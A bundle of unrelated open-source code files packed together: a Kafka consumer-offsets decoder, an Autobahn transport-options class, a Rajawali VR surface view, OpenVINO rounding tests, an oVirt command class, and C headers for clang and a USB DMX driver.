private static Schema OFFSET_COMMIT_VALUE_SCHEMA_V0 = new Schema(new Field("offset", Type.INT64), new Field("metadata", Type.STRING, "Associated metadata.", ""), new Field("timestamp", Type.INT64));
private static BoundField OFFSET_VALUE_OFFSET_FIELD_V0 = OFFSET_COMMIT_VALUE_SCHEMA_V0.get("offset");
private static BoundField OFFSET_VALUE_METADATA_FIELD_V0 = OFFSET_COMMIT_VALUE_SCHEMA_V0.get("metadata");
private static BoundField OFFSET_VALUE_TIMESTAMP_FIELD_V0 = OFFSET_COMMIT_VALUE_SCHEMA_V0.get("timestamp");
private static Schema OFFSET_COMMIT_VALUE_SCHEMA_V1 = new Schema(new Field("offset", Type.INT64), new Field("metadata", Type.STRING, "Associated metadata.", ""), new Field("commit_timestamp", Type.INT64),
new Field("expire_timestamp", Type.INT64));
private static BoundField OFFSET_VALUE_OFFSET_FIELD_V1 = OFFSET_COMMIT_VALUE_SCHEMA_V1.get("offset");
private static BoundField OFFSET_VALUE_METADATA_FIELD_V1 = OFFSET_COMMIT_VALUE_SCHEMA_V1.get("metadata");
private static BoundField OFFSET_VALUE_COMMIT_TIMESTAMP_FIELD_V1 = OFFSET_COMMIT_VALUE_SCHEMA_V1.get("commit_timestamp");
private static BoundField OFFSET_VALUE_EXPIRE_TIMESTAMP_FIELD_V1 = OFFSET_COMMIT_VALUE_SCHEMA_V1.get("expire_timestamp");
private static Schema OFFSET_COMMIT_VALUE_SCHEMA_V2 = new Schema(new Field("offset", Type.INT64), new Field("metadata", Type.STRING, "Associated metadata.", ""), new Field("commit_timestamp", Type.INT64));
private static BoundField OFFSET_VALUE_OFFSET_FIELD_V2 = OFFSET_COMMIT_VALUE_SCHEMA_V2.get("offset");
private static BoundField OFFSET_VALUE_METADATA_FIELD_V2 = OFFSET_COMMIT_VALUE_SCHEMA_V2.get("metadata");
private static BoundField OFFSET_VALUE_COMMIT_TIMESTAMP_FIELD_V2 = OFFSET_COMMIT_VALUE_SCHEMA_V2.get("commit_timestamp");
private static Schema OFFSET_COMMIT_VALUE_SCHEMA_V3 = new Schema(new Field("offset", Type.INT64), new Field("leader_epoch", Type.INT32), new Field("metadata", Type.STRING, "Associated metadata.", ""),
new Field("commit_timestamp", Type.INT64));
private static BoundField OFFSET_VALUE_OFFSET_FIELD_V3 = OFFSET_COMMIT_VALUE_SCHEMA_V3.get("offset");
private static BoundField OFFSET_VALUE_LEADER_EPOCH_FIELD_V3 = OFFSET_COMMIT_VALUE_SCHEMA_V3.get("leader_epoch");
private static BoundField OFFSET_VALUE_METADATA_FIELD_V3 = OFFSET_COMMIT_VALUE_SCHEMA_V3.get("metadata");
private static BoundField OFFSET_VALUE_COMMIT_TIMESTAMP_FIELD_V3 = OFFSET_COMMIT_VALUE_SCHEMA_V3.get("commit_timestamp");
private static Schema GROUP_METADATA_KEY_SCHEMA = new Schema(new Field("group", Type.STRING));
private static BoundField GROUP_KEY_GROUP_FIELD = GROUP_METADATA_KEY_SCHEMA.get("group");
private static String MEMBER_ID_KEY = "member_id";
private static String GROUP_INSTANCE_ID_KEY = "group_instance_id";
private static String CLIENT_ID_KEY = "client_id";
private static String CLIENT_HOST_KEY = "client_host";
private static String REBALANCE_TIMEOUT_KEY = "rebalance_timeout";
private static String SESSION_TIMEOUT_KEY = "session_timeout";
private static String SUBSCRIPTION_KEY = "subscription";
private static String ASSIGNMENT_KEY = "assignment";
private static Schema MEMBER_METADATA_V0 = new Schema(new Field(MEMBER_ID_KEY, Type.STRING), new Field(CLIENT_ID_KEY, Type.STRING), new Field(CLIENT_HOST_KEY, Type.STRING), new Field(SESSION_TIMEOUT_KEY, Type.INT32),
new Field(SUBSCRIPTION_KEY, Type.BYTES), new Field(ASSIGNMENT_KEY, Type.BYTES));
private static Schema MEMBER_METADATA_V1 = new Schema(new Field(MEMBER_ID_KEY, Type.STRING), new Field(CLIENT_ID_KEY, Type.STRING), new Field(CLIENT_HOST_KEY, Type.STRING), new Field(REBALANCE_TIMEOUT_KEY, Type.INT32),
new Field(SESSION_TIMEOUT_KEY, Type.INT32), new Field(SUBSCRIPTION_KEY, Type.BYTES), new Field(ASSIGNMENT_KEY, Type.BYTES));
private static Schema MEMBER_METADATA_V2 = MEMBER_METADATA_V1;
private static Schema MEMBER_METADATA_V3 = new Schema(new Field(MEMBER_ID_KEY, Type.STRING), new Field(GROUP_INSTANCE_ID_KEY, Type.NULLABLE_STRING), new Field(CLIENT_ID_KEY, Type.STRING), new Field(CLIENT_HOST_KEY, Type.STRING),
new Field(REBALANCE_TIMEOUT_KEY, Type.INT32), new Field(SESSION_TIMEOUT_KEY, Type.INT32), new Field(SUBSCRIPTION_KEY, Type.BYTES), new Field(ASSIGNMENT_KEY, Type.BYTES));
private static String PROTOCOL_TYPE_KEY = "protocol_type";
private static String GENERATION_KEY = "generation";
private static String PROTOCOL_KEY = "protocol";
private static String LEADER_KEY = "leader";
private static String CURRENT_STATE_TIMESTAMP_KEY = "current_state_timestamp";
private static String MEMBERS_KEY = "members";
private static Schema GROUP_METADATA_VALUE_SCHEMA_V0 = new Schema(new Field(PROTOCOL_TYPE_KEY, Type.STRING), new Field(GENERATION_KEY, Type.INT32), new Field(PROTOCOL_KEY, Type.NULLABLE_STRING),
new Field(LEADER_KEY, Type.NULLABLE_STRING), new Field(MEMBERS_KEY, new ArrayOf(MEMBER_METADATA_V0)));
private static Schema GROUP_METADATA_VALUE_SCHEMA_V1 = new Schema(new Field(PROTOCOL_TYPE_KEY, Type.STRING), new Field(GENERATION_KEY, Type.INT32), new Field(PROTOCOL_KEY, Type.NULLABLE_STRING),
new Field(LEADER_KEY, Type.NULLABLE_STRING), new Field(MEMBERS_KEY, new ArrayOf(MEMBER_METADATA_V1)));
private static Schema GROUP_METADATA_VALUE_SCHEMA_V2 = new Schema(new Field(PROTOCOL_TYPE_KEY, Type.STRING), new Field(GENERATION_KEY, Type.INT32), new Field(PROTOCOL_KEY, Type.NULLABLE_STRING),
new Field(LEADER_KEY, Type.NULLABLE_STRING), new Field(CURRENT_STATE_TIMESTAMP_KEY, Type.INT64), new Field(MEMBERS_KEY, new ArrayOf(MEMBER_METADATA_V2)));
private static Schema GROUP_METADATA_VALUE_SCHEMA_V3 = new Schema(new Field(PROTOCOL_TYPE_KEY, Type.STRING), new Field(GENERATION_KEY, Type.INT32), new Field(PROTOCOL_KEY, Type.NULLABLE_STRING),
new Field(LEADER_KEY, Type.NULLABLE_STRING), new Field(CURRENT_STATE_TIMESTAMP_KEY, Type.INT64), new Field(MEMBERS_KEY, new ArrayOf(MEMBER_METADATA_V3)));
// map of versions to key schemas as data types
private static Map<Integer, Schema> MESSAGE_TYPE_SCHEMAS = new HashMap<Integer, Schema>() {
{
put(0, OFFSET_COMMIT_KEY_SCHEMA);
put(1, OFFSET_COMMIT_KEY_SCHEMA);
put(2, GROUP_METADATA_KEY_SCHEMA);
put(3, GROUP_METADATA_KEY_SCHEMA);
}
};
// map of version of offset value schemas
private static Map<Integer, Schema> OFFSET_VALUE_SCHEMAS = new HashMap<Integer, Schema>() {
{
put(0, OFFSET_COMMIT_VALUE_SCHEMA_V0);
put(1, OFFSET_COMMIT_VALUE_SCHEMA_V1);
put(2, OFFSET_COMMIT_VALUE_SCHEMA_V2);
put(3, OFFSET_COMMIT_VALUE_SCHEMA_V3);
}
};
// map of version of group metadata value schemas
private static Map<Integer, Schema> GROUP_VALUE_SCHEMAS = new HashMap<Integer, Schema>() {
{
put(0, GROUP_METADATA_VALUE_SCHEMA_V0);
put(1, GROUP_METADATA_VALUE_SCHEMA_V1);
put(2, GROUP_METADATA_VALUE_SCHEMA_V2);
put(3, GROUP_METADATA_VALUE_SCHEMA_V3);
}
};
private static Schema CURRENT_OFFSET_KEY_SCHEMA = schemaForKey(CURRENT_OFFSET_KEY_SCHEMA_VERSION);
private static Schema CURRENT_GROUP_KEY_SCHEMA = schemaForKey(CURRENT_GROUP_KEY_SCHEMA_VERSION);
private static Schema schemaForKey(int version) {
if (MESSAGE_TYPE_SCHEMAS.containsKey(version)) {
return MESSAGE_TYPE_SCHEMAS.get(version);
} else {
LOG.error("Unknown message key schema version " + version);
return null;
}
}
private static Schema schemaForOffsetValue(int version) {
if (OFFSET_VALUE_SCHEMAS.containsKey(version)) {
return OFFSET_VALUE_SCHEMAS.get(version);
} else {
LOG.error("Unknown offset schema version " + version);
return null;
}
}
private static Schema schemaForGroupValue(int version) {
if (GROUP_VALUE_SCHEMAS.containsKey(version)) {
return GROUP_VALUE_SCHEMAS.get(version);
} else {
LOG.error("Unknown group metadata version " + version);
return null;
}
}
/**
* Decodes the offset messages' key
*
* @param buffer
* input byte-buffer
* @return an GroupTopicPartition object
*/
private static BaseKey readMessageKey(ByteBuffer buffer) {
short version = buffer.getShort();
Schema keySchema = schemaForKey(version);
Struct key = keySchema.read(buffer);
if (version <= CURRENT_OFFSET_KEY_SCHEMA_VERSION) {
// version 0 and 1 refer to offset
String group = key.getString(OFFSET_KEY_GROUP_FIELD);
String topic = key.getString(OFFSET_KEY_TOPIC_FIELD);
int partition = key.getInt(OFFSET_KEY_PARTITION_FIELD);
return new OffsetKey(version, new GroupTopicPartition(group, new TopicPartition(topic, partition)));
} else if (version == CURRENT_GROUP_KEY_SCHEMA_VERSION) {
// version 2 refers to offset
String group = key.getString(GROUP_KEY_GROUP_FIELD);
return new GroupMetadataKey(version, group);
} else if (version == CURRENT_GROUP_KEY_SCHEMA_VERSION_V3) {
// version 3 refers to offset
String group = key.getString(GROUP_KEY_GROUP_FIELD);
return new GroupMetadataKey(version, group);
} else {
throw new IllegalStateException("Unknown group metadata message version: " + version);
}
}
/**
* Decodes the offset messages' payload and retrieves offset and metadata
* from it
*
* @param buffer
* input byte-buffer
* @return an offset-metadata object from the message
*/
private static OffsetAndMetadata readOffsetMessageValue(ByteBuffer buffer) {
if (buffer == null) { // tombstone
return null;
} else {
short version = buffer.getShort();
Schema valueSchema = schemaForOffsetValue(version);
Struct value = valueSchema.read(buffer);
if (version == 0) {
long offset = value.getLong(OFFSET_VALUE_OFFSET_FIELD_V0);
String metadata = value.getString(OFFSET_VALUE_METADATA_FIELD_V0);
long timestamp = value.getLong(OFFSET_VALUE_TIMESTAMP_FIELD_V0);
return new OffsetAndMetadata(new OffsetMetadata(offset, metadata), timestamp, timestamp);
} else if (version == 1) {
long offset = value.getLong(OFFSET_VALUE_OFFSET_FIELD_V1);
String metadata = value.getString(OFFSET_VALUE_METADATA_FIELD_V1);
long commitTimestamp = value.getLong(OFFSET_VALUE_COMMIT_TIMESTAMP_FIELD_V1);
long expireTimestamp = value.getLong(OFFSET_VALUE_EXPIRE_TIMESTAMP_FIELD_V1);
return new OffsetAndMetadata(new OffsetMetadata(offset, metadata), commitTimestamp, expireTimestamp);
} else if (version == 2) {
long offset = value.getLong(OFFSET_VALUE_OFFSET_FIELD_V2);
String metadata = value.getString(OFFSET_VALUE_METADATA_FIELD_V2);
long commitTimestamp = value.getLong(OFFSET_VALUE_COMMIT_TIMESTAMP_FIELD_V2);
return new OffsetAndMetadata(new OffsetMetadata(offset, metadata), commitTimestamp, commitTimestamp);
} else if (version == 3) {
long offset = value.getLong(OFFSET_VALUE_OFFSET_FIELD_V3);
String metadata = value.getString(OFFSET_VALUE_METADATA_FIELD_V3);
long commitTimestamp = value.getLong(OFFSET_VALUE_COMMIT_TIMESTAMP_FIELD_V3);
return new OffsetAndMetadata(new OffsetMetadata(offset, metadata), commitTimestamp, commitTimestamp);
} else {
throw new IllegalStateException("Unknown offset message version: " + version);
}
}
}
public static void main(String[] args) {
Properties prop = new Properties();
prop.put("group.id", "efak.system.group");
prop.put(CommonClientConfigs.BOOTSTRAP_SERVERS_CONFIG, "127.0.0.1:9092");
prop.put("exclude.internal.topics", "false");
prop.put(ConsumerConfig.KEY_DESERIALIZER_CLASS_CONFIG, StringDeserializer.class.getCanonicalName());
prop.put(ConsumerConfig.VALUE_DESERIALIZER_CLASS_CONFIG, StringDeserializer.class.getCanonicalName());
KafkaConsumer<String, String> consumer = new KafkaConsumer<>(prop);
consumer.subscribe(Arrays.asList("__consumer_offsets"));
boolean flag = true;
while (flag) {
try {
ConsumerRecords<String, String> records = consumer.poll(Duration.ofMillis(100));
for (ConsumerRecord<String, String> record : records) {
ByteBuffer buffer = ByteBuffer.wrap(record.value().getBytes());
// OffsetAndMetadata meta = GroupMetadataManager.readOffsetMessageValue();
// BaseKey key = readMessageKey(buffer);
OffsetAndMetadata gm = readOffsetMessageValue(buffer);
System.out.println(gm);
}
} catch (Exception e) {
// TODO: handle exception
e.printStackTrace();
}
}
}
}
| 6,661 |
662 | <filename>autobahn/src/main/java/io/crossbar/autobahn/wamp/types/TransportOptions.java
///////////////////////////////////////////////////////////////////////////////
//
// AutobahnJava - http://crossbar.io/autobahn
//
// Copyright (c) Crossbar.io Technologies GmbH and contributors
//
// Licensed under the MIT License.
// http://www.opensource.org/licenses/mit-license.php
//
///////////////////////////////////////////////////////////////////////////////
package io.crossbar.autobahn.wamp.types;
public class TransportOptions {
private int mMaxFramePayloadSize;
private int mAutoPingInterval;
private int mAutoPingTimeout;
public TransportOptions() {
mMaxFramePayloadSize = 128 * 1024;
mAutoPingInterval = 10;
mAutoPingTimeout = 5;
}
/**
* Set maximum frame payload size that will be accepted
* when receiving.
* <p>
* DEFAULT: 4MB
*
* @param size Maximum size in octets for frame payload.
*/
public void setMaxFramePayloadSize(int size) {
if (size > 0) {
mMaxFramePayloadSize = size;
}
}
/**
* Get maximum frame payload size that will be accepted
* when receiving.
*
* @return Maximum size in octets for frame payload.
*/
public int getMaxFramePayloadSize() {
return mMaxFramePayloadSize;
}
public void setAutoPingInterval(int seconds) {
mAutoPingInterval = seconds;
}
public int getAutoPingInterval() {
return mAutoPingInterval;
}
public void setAutoPingTimeout(int seconds) {
mAutoPingTimeout = seconds;
}
public int getAutoPingTimeout() {
return mAutoPingTimeout;
}
}
| 621 |
1,845 | package org.rajawali3d.vr.surface;
/**
* Copyright 2015 <NAME>
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on
* an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
* specific language governing permissions and limitations under the License.
*/
import android.content.Context;
import android.content.res.TypedArray;
import android.graphics.PixelFormat;
import android.opengl.GLSurfaceView;
import android.util.AttributeSet;
import android.view.View;
import com.google.vrtoolkit.cardboard.CardboardView;
import org.rajawali3d.renderer.ISurfaceRenderer;
import org.rajawali3d.util.Capabilities;
import org.rajawali3d.util.egl.RajawaliEGLConfigChooser;
import org.rajawali3d.view.ISurface;
import javax.microedition.khronos.egl.EGLConfig;
import javax.microedition.khronos.opengles.GL10;
/**
*
*/
public class VRSurfaceView extends CardboardView implements ISurface {
protected RendererDelegate mRendererDelegate;
protected double mFrameRate = 60.0;
protected int mRenderMode = ISurface.RENDERMODE_WHEN_DIRTY;
protected ANTI_ALIASING_CONFIG mAntiAliasingConfig = ANTI_ALIASING_CONFIG.NONE;
protected boolean mIsTransparent = false;
protected int mBitsRed = 5;
protected int mBitsGreen = 6;
protected int mBitsBlue = 5;
protected int mBitsAlpha = 0;
protected int mBitsDepth = 16;
protected int mMultiSampleCount = 0;
public VRSurfaceView(Context context) {
super(context);
}
public VRSurfaceView(Context context, AttributeSet attrs) {
super(context, attrs);
applyAttributes(context, attrs);
}
private void applyAttributes(Context context, AttributeSet attrs) {
if (attrs == null) {
return;
}
final TypedArray array = context.obtainStyledAttributes(attrs, org.rajawali3d.R.styleable.SurfaceView);
final int count = array.getIndexCount();
for (int i = 0; i < count; ++i) {
int attr = array.getIndex(i);
if (attr == org.rajawali3d.R.styleable.SurfaceView_frameRate) {
mFrameRate = array.getFloat(attr, 60.0f);
} else if (attr == org.rajawali3d.R.styleable.SurfaceView_renderMode) {
mRenderMode = array.getInt(attr, ISurface.RENDERMODE_WHEN_DIRTY);
} else if (attr == org.rajawali3d.R.styleable.SurfaceView_antiAliasingType) {
mAntiAliasingConfig = ANTI_ALIASING_CONFIG
.fromInteger(array.getInteger(attr, ANTI_ALIASING_CONFIG.NONE.ordinal()));
} else if (attr == org.rajawali3d.R.styleable.SurfaceView_multiSampleCount) {
mMultiSampleCount = array.getInteger(attr, 0);
} else if (attr == org.rajawali3d.R.styleable.SurfaceView_isTransparent) {
mIsTransparent = array.getBoolean(attr, false);
} else if (attr == org.rajawali3d.R.styleable.SurfaceView_bitsRed) {
mBitsRed = array.getInteger(attr, 5);
} else if (attr == org.rajawali3d.R.styleable.SurfaceView_bitsGreen) {
mBitsGreen = array.getInteger(attr, 6);
} else if (attr == org.rajawali3d.R.styleable.SurfaceView_bitsBlue) {
mBitsBlue = array.getInteger(attr, 5);
} else if (attr == org.rajawali3d.R.styleable.SurfaceView_bitsAlpha) {
mBitsAlpha = array.getInteger(attr, 0);
} else if (attr == org.rajawali3d.R.styleable.SurfaceView_bitsDepth) {
mBitsDepth = array.getInteger(attr, 16);
}
}
array.recycle();
}
private void initialize() {
final int glesMajorVersion = Capabilities.getGLESMajorVersion();
setEGLContextClientVersion(glesMajorVersion);
if (mIsTransparent) {
setEGLConfigChooser(new RajawaliEGLConfigChooser(glesMajorVersion, mAntiAliasingConfig, mMultiSampleCount,
8, 8, 8, 8, mBitsDepth));
getHolder().setFormat(PixelFormat.TRANSLUCENT);
setZOrderOnTop(true);
} else {
setEGLConfigChooser(new RajawaliEGLConfigChooser(glesMajorVersion, mAntiAliasingConfig, mMultiSampleCount,
mBitsRed, mBitsGreen, mBitsBlue, mBitsAlpha, mBitsDepth));
getHolder().setFormat(PixelFormat.RGBA_8888);
setZOrderOnTop(false);
}
}
@Override
public void onPause() {
super.onPause();
if (mRendererDelegate != null) {
mRendererDelegate.mRenderer.onPause();
}
}
@Override
public void onResume() {
super.onResume();
if (mRendererDelegate != null) {
mRendererDelegate.mRenderer.onResume();
}
}
@Override
protected void onVisibilityChanged(View changedView, int visibility) {
if (visibility == View.GONE || visibility == View.INVISIBLE) {
onPause();
} else {
onResume();
}
super.onVisibilityChanged(changedView, visibility);
}
@Override
protected void onAttachedToWindow() {
super.onAttachedToWindow();
if (!isInEditMode()) {
onResume();
}
}
@Override
public void onDetachedFromWindow() {
super.onDetachedFromWindow();
try {
mRendererDelegate.mRenderer.onRenderSurfaceDestroyed(null);
} catch (NullPointerException ignored) {
// Don't care, activity is terminating.
}
}
@Override
public void setFrameRate(double rate) {
mFrameRate = rate;
if (mRendererDelegate != null) {
mRendererDelegate.mRenderer.setFrameRate(rate);
}
}
@Override
public int getRenderMode() {
if (mRendererDelegate != null) {
return super.getRenderMode();
} else {
return mRenderMode;
}
}
@Override
public void setRenderMode(int mode) {
mRenderMode = mode;
if (mRendererDelegate != null) {
super.setRenderMode(mRenderMode);
}
}
/**
* Enable/Disable transparent background for this surface view.
* Must be called before {@link #setSurfaceRenderer(ISurfaceRenderer)}.
*
* @param isTransparent {@code boolean} If true, this {@link VRSurfaceView} will be drawn transparent.
*/
public void setTransparent(boolean isTransparent) {
mIsTransparent = isTransparent;
}
@Override
public void setAntiAliasingMode(ANTI_ALIASING_CONFIG config) {
mAntiAliasingConfig = config;
}
@Override
public void setSampleCount(int count) {
mMultiSampleCount = count;
}
@Override
public void setSurfaceRenderer(ISurfaceRenderer renderer) throws IllegalStateException {
if (mRendererDelegate != null) {
throw new IllegalStateException("A renderer has already been set for this view.");
}
initialize();
final RendererDelegate delegate = new VRSurfaceView.RendererDelegate(renderer, this);
super.setRenderer(delegate);
mRendererDelegate = delegate; // Done to make sure we dont publish a reference before its safe.
// Render mode cant be set until the GL thread exists
setRenderMode(mRenderMode);
onPause(); // We want to halt the surface view until we are ready
}
@Override
public void requestRenderUpdate() {
requestRender();
}
/**
* Delegate used to translate between {@link GLSurfaceView.Renderer} and {@link ISurfaceRenderer}.
*
* @author <NAME> (<EMAIL>)
*/
private static class RendererDelegate implements GLSurfaceView.Renderer {
final VRSurfaceView mRajawaliSurfaceView; // The surface view to render on
final ISurfaceRenderer mRenderer; // The renderer
public RendererDelegate(ISurfaceRenderer renderer, VRSurfaceView surfaceView) {
mRenderer = renderer;
mRajawaliSurfaceView = surfaceView;
mRenderer.setFrameRate(mRajawaliSurfaceView.mRenderMode == ISurface.RENDERMODE_WHEN_DIRTY ?
mRajawaliSurfaceView.mFrameRate : 0);
mRenderer.setAntiAliasingMode(mRajawaliSurfaceView.mAntiAliasingConfig);
mRenderer.setRenderSurface(mRajawaliSurfaceView);
}
@Override
public void onSurfaceCreated(GL10 gl, EGLConfig config) {
mRenderer.onRenderSurfaceCreated(config, gl, -1, -1);
}
@Override
public void onSurfaceChanged(GL10 gl, int width, int height) {
mRenderer.onRenderSurfaceSizeChanged(gl, width, height);
}
@Override
public void onDrawFrame(GL10 gl) {
mRenderer.onRenderFrame(gl);
}
}
}
| 4,213 |
3,600 | package com.github.dreamhead.moco.bootstrap.tasks;
import com.github.dreamhead.moco.MocoVersion;
import com.github.dreamhead.moco.bootstrap.BootstrapTask;
public final class VersionTask implements BootstrapTask {
@Override
public void run(final String[] args) {
System.out.println(MocoVersion.VERSION);
}
}
| 113 |
2,406 | <reponame>monroid/openvino
// Copyright (C) 2018-2021 Intel Corporation
// SPDX-License-Identifier: Apache-2.0
//
#include "engines_util/execute_tools.hpp"
#include "gtest/gtest.h"
#include "ngraph/ngraph.hpp"
#include "ngraph/runtime/tensor.hpp"
#include "runtime/backend.hpp"
#include "util/all_close.hpp"
#include "util/all_close_f.hpp"
#include "util/ndarray.hpp"
#include "util/test_control.hpp"
NGRAPH_SUPPRESS_DEPRECATED_START
using namespace std;
using namespace ngraph;
static string s_manifest = "${MANIFEST}";
NGRAPH_TEST(${BACKEND_NAME}, round_half_to_even) {
Shape shape{5};
auto A = make_shared<op::Parameter>(element::f32, shape);
auto f = make_shared<Function>(make_shared<op::v5::Round>(A, op::v5::Round::RoundMode::HALF_TO_EVEN),
ParameterVector{A});
auto backend = runtime::Backend::create("${BACKEND_NAME}");
auto a = backend->create_tensor(element::f32, shape);
copy_data(a, vector<float>{0.9f, 2.5f, 2.3f, 1.5f, -4.5f});
auto result = backend->create_tensor(element::f32, shape);
auto handle = backend->compile(f);
handle->call_with_validate({result}, {a});
EXPECT_TRUE(test::all_close_f((vector<float>{1.0f, 2.0f, 2.0f, 2.0f, -4.0f}),
read_vector<float>(result),
MIN_FLOAT_TOLERANCE_BITS));
}
NGRAPH_TEST(${BACKEND_NAME}, round_away_from_zero) {
Shape shape{5};
auto A = make_shared<op::Parameter>(element::f32, shape);
auto f = make_shared<Function>(make_shared<op::v5::Round>(A, op::v5::Round::RoundMode::HALF_AWAY_FROM_ZERO),
ParameterVector{A});
auto backend = runtime::Backend::create("${BACKEND_NAME}");
auto a = backend->create_tensor(element::f32, shape);
copy_data(a, vector<float>{0.9f, 2.5f, 2.3f, 1.5f, -4.5f});
auto result = backend->create_tensor(element::f32, shape);
auto handle = backend->compile(f);
handle->call_with_validate({result}, {a});
EXPECT_TRUE(test::all_close_f((vector<float>{1.0f, 3.0f, 2.0f, 2.0f, -5.0f}),
read_vector<float>(result),
MIN_FLOAT_TOLERANCE_BITS));
}
NGRAPH_TEST(${BACKEND_NAME}, round_2D) {
Shape shape{3, 5};
auto A = make_shared<op::Parameter>(element::f32, shape);
auto f = make_shared<Function>(make_shared<op::v5::Round>(A, op::v5::Round::RoundMode::HALF_TO_EVEN),
ParameterVector{A});
auto backend = runtime::Backend::create("${BACKEND_NAME}");
auto a = backend->create_tensor(element::f32, shape);
copy_data(
a,
vector<float>{0.1f, 0.5f, 0.9f, 1.2f, 1.5f, 1.8f, 2.3f, 2.5f, 2.7f, -1.1f, -1.5f, -1.9f, -2.2f, -2.5f, -2.8f});
auto result = backend->create_tensor(element::f32, shape);
auto handle = backend->compile(f);
handle->call_with_validate({result}, {a});
EXPECT_TRUE(test::all_close_f(
(vector<float>{0.f, 0.f, 1.f, 1.f, 2.f, 2.f, 2.f, 2.f, 3.f, -1.f, -2.f, -2.f, -2.f, -2.f, -3.f}),
read_vector<float>(result),
MIN_FLOAT_TOLERANCE_BITS));
}
NGRAPH_TEST(${BACKEND_NAME}, round_int64) {
// This tests large numbers that will not fit in a double
Shape shape{3};
auto A = make_shared<op::Parameter>(element::i64, shape);
auto f = make_shared<Function>(make_shared<op::v5::Round>(A, op::v5::Round::RoundMode::HALF_TO_EVEN),
ParameterVector{A});
auto backend = runtime::Backend::create("${BACKEND_NAME}");
auto a = backend->create_tensor(element::i64, shape);
vector<int64_t> expected{0, 1, 0x4000000000000001};
copy_data(a, expected);
auto result = backend->create_tensor(element::i64, shape);
auto handle = backend->compile(f);
handle->call_with_validate({result}, {a});
EXPECT_EQ(expected, read_vector<int64_t>(result));
}
| 1,844 |
347 | <gh_stars>100-1000
package org.ovirt.engine.core.bll;
import javax.inject.Inject;
import org.ovirt.engine.core.bll.context.CommandContext;
import org.ovirt.engine.core.common.EventNotificationMethod;
import org.ovirt.engine.core.common.action.EventSubscriptionParametesBase;
import org.ovirt.engine.core.common.businessentities.aaa.DbUser;
import org.ovirt.engine.core.common.errors.EngineMessage;
import org.ovirt.engine.core.dao.DbUserDao;
public class RemoveEventSubscriptionCommand<T extends EventSubscriptionParametesBase> extends
EventSubscriptionCommandBase<T> {
@Inject
private DbUserDao dbUserDao;
public RemoveEventSubscriptionCommand(T parameters, CommandContext cmdContext) {
super(parameters, cmdContext);
}
@Override
protected boolean validate() {
boolean retValue;
// get notification method
EventNotificationMethod event_notification_method = getParameters().getEventSubscriber().getEventNotificationMethod();
if (event_notification_method != null) {
// Validate user
DbUser user = dbUserDao.get(getParameters().getEventSubscriber().getSubscriberId());
if (user == null) {
addValidationMessage(EngineMessage.USER_MUST_EXIST_IN_DB);
retValue = false;
} else {
retValue = validateRemove(event_notification_method, getParameters().getEventSubscriber(), user);
}
} else {
addValidationMessage(EngineMessage.EN_UNKNOWN_NOTIFICATION_METHOD);
retValue = false;
}
return retValue;
}
@Override
protected void executeCommand() {
eventDao.unsubscribe(getParameters().getEventSubscriber());
setSucceeded(true);
}
}
| 698 |
3,102 | <reponame>medismailben/llvm-project<gh_stars>1000+
//==- LocalCheckers.h - Intra-Procedural+Flow-Sensitive Checkers -*- C++ -*-==//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===----------------------------------------------------------------------===//
//
// This file defines the interface to call a set of intra-procedural (local)
// checkers that use flow/path-sensitive analyses to find bugs.
//
//===----------------------------------------------------------------------===//
#ifndef LLVM_CLANG_STATICANALYZER_CHECKERS_LOCALCHECKERS_H
#define LLVM_CLANG_STATICANALYZER_CHECKERS_LOCALCHECKERS_H
namespace clang {
namespace ento {
class ExprEngine;
void RegisterCallInliner(ExprEngine &Eng);
} // end namespace ento
} // end namespace clang
#endif
| 284 |
478 | /*
usbdmx-dynamic.h - include file for run-time dynamic loading of
the USBDMX.DLL. This demo can handle the situation where the dll
is not present.
This file is provided as is to allow an easy start with the
usbdmx driver and dll.
Copyright (c) Lighting Solutions, Dr. <NAME>
In case of trouble please contact <EMAIL> or
call +49/40/600877-51.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0.txt
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
#ifndef _USBDMX_DYNAMIC_H
#define _USBDMX_DYNAMIC_H
#include <windows.h>
/**
* DLL version
*/
#define USBDMX_DLL_VERSION USHORT(0x0403)
/**
* MACRO to verify dll version
*/
#define USBDMX_DLL_VERSION_CHECK(a) ((a)->version() >= USBDMX_DLL_VERSION)
/****************************************************************************
* Type definitions for all functions exported by the USBDMX.DLL
****************************************************************************/
/**
* define the basic type of exported functions
*/
#define USBDMX_TYPE WINAPI *
/**
* usbdmx_version(): returns the version number (16bit, 4 digits BCD)
* Current version is USBDMX_DLL_VERSION. Use the Macro
* USBDMX_DLL_VERSION_CHECK() to compare the dll version number with
* the header files version.
*/
typedef USHORT (USBDMX_TYPE USBDMX_TYPE_VERSION) (VOID);
/**
* usbdmx_open(): open device number <device>, where 0 is the first
* and unlimit devices are supported. The function returnes
* STATUS_INVALID_HANDLE_VALUE if <device> is not supported. Use the
* returned handle to access the device later on. One device can be
* opened an unlimited number of times.
*/
typedef BOOL (USBDMX_TYPE USBDMX_TYPE_OPEN) (IN USHORT, OUT PHANDLE);
/**
* usbdmx_close(): close the device identified by the given handle.
*/
typedef BOOL (USBDMX_TYPE USBDMX_TYPE_CLOSE) (IN HANDLE);
/**
* usbdmx_device_id(): read the device id of the device
*/
typedef BOOL (USBDMX_TYPE USBDMX_TYPE_DEVICE_ID) (IN HANDLE, OUT PUSHORT);
/**
* usbdmx_is_XXX(): identify the device identified by the given handle.
* Each function returns TRUE if the device matches.
*/
typedef BOOL (USBDMX_TYPE USBDMX_TYPE_IS_XSWITCH) (IN HANDLE);
typedef BOOL (USBDMX_TYPE USBDMX_TYPE_IS_RODIN1) (IN HANDLE);
typedef BOOL (USBDMX_TYPE USBDMX_TYPE_IS_RODIN2) (IN HANDLE);
typedef BOOL (USBDMX_TYPE USBDMX_TYPE_IS_RODINT) (IN HANDLE);
typedef BOOL (USBDMX_TYPE USBDMX_TYPE_IS_USBDMX21) (IN HANDLE);
/**
